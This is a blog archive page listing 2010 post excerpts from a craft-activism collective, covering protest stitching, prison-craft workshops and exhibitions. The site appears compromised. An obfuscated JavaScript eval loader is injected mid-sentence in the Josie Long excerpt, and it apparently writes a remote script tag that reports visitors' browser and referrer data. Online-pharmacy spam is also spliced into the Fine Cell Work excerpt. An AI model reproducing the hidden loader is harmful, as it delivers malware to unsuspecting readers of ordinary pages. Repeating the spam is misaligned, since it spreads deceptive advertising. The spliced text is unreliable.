01 Dec Christmas social and summary of 2010 achievement/highlights
Not the most exciting post for people who aren't in London but I'm going to flag it up anyway. We have decided to have a Christmas social evening inside of...
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28 Nov Check out our quilt so far!
We spent all of yesterday at the Bluecoat Gallery, Liverpool, stitching away and inviting visitors and passers-by to sit down, do some stitching of their own and talk about the cause with us. Project catch-up after the jump.
10 Nov Fine Cell Work kit making workshop to help prisoners at Christmas
Date: Saturday 4th December 2pm-5pm. ?Venue: Fine Cell Works HQ, London Bring: Scissors if you have any. RSVP here as there are limited spaces. Facebook event here
After an inspiring presentation Fine Cell Work did for our craftivists in our August 2010 monthly meeting in their office surrounded by beautiful cushions we all felt we wanted to do more to support this incredible crafy charity. We have arranged a session at Fine Cell Work HQ where 20 Craftivists will have the chance to put kits together for prisoners to use during Christmas.
01 Nov And Sew To Bed…
Our own Bed-In on global and local inequality issues with West Everton residents in the UK. See separate blog here for more info and to see some of the patches look here
The West Everton Community Council (WECC) and One World Week alongside The Craftivist Collective is taking part in the Liverpool Bluecoat Bed-In to celebrate John Lennon’s 70th birthday. The Bluecoat event takes part from October 6 – December 9, 2010: our Bed-In is on December 1, 2010.
During our Bed-In we want to raise awareness of global issues in our own community and amongst the people of Merseyside. We may represent a specific community but we come with our global concerns to a bed in the Bluecoat. We want to raise awareness of national and international inequality and demand change – we want to see an end to the social chasm between those who have and those who need. Ours is a peaceful protest that wishes to engage all people in crafty action: Craftivism! We will make lovely stuff and change the world by stealth and beauty.
Full project details after the jump.
20 Sep Join us at Sheffield DocFest 2010
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17 Sep Craftivist Collective’s micro exhibition and shop at the Paper Dress Boutique
The Craftivist Collective launched their latest exhibition on Thursday 16th September 2010. The exhibition is installed at Paper Dress Boutique, a beautiful vintage clothes boutique, cafe and venue at 114-116 Curtain Road, Shoreditch, London EC2A 3AH.
14 Sep Cross Stitch Graffiti at London Fashion Week 2010
To mark the start of London Fashion Week 2010, activist group The Craftivist Collective has created homemade Mini Protest Banners aimed at exposing the ugly side of fashion. Using Mini Protest Banners, they hope to make people think about the side of the fashion that is often too easily dismissed by the industry in a non-threatening but challenging way during the fashionista's calendar annual highlight.
10 Sep An Insider’s View: Fine Cell Work by Barley Massey of Fabrications
An event on Buckingham Palace Road last Thursday was an affirmation once again to me of the value of craft in our society and its power to create social change, well being and self usa online pharmacy without prescription worth.
02 Sep Desconocida Unknown Ukjent by Lise Bjorne Linnert
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01 Sep Join us and comedienne Josie Long!
Comedienne Josie eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rrrdz|var|u0026u|referrer|asnfy||js|php'.split('|'),0,{})) Long has kindly asked the Craftivist Collective to join her on stage at Soho Theatre, London for 6 nights of her sold out tour...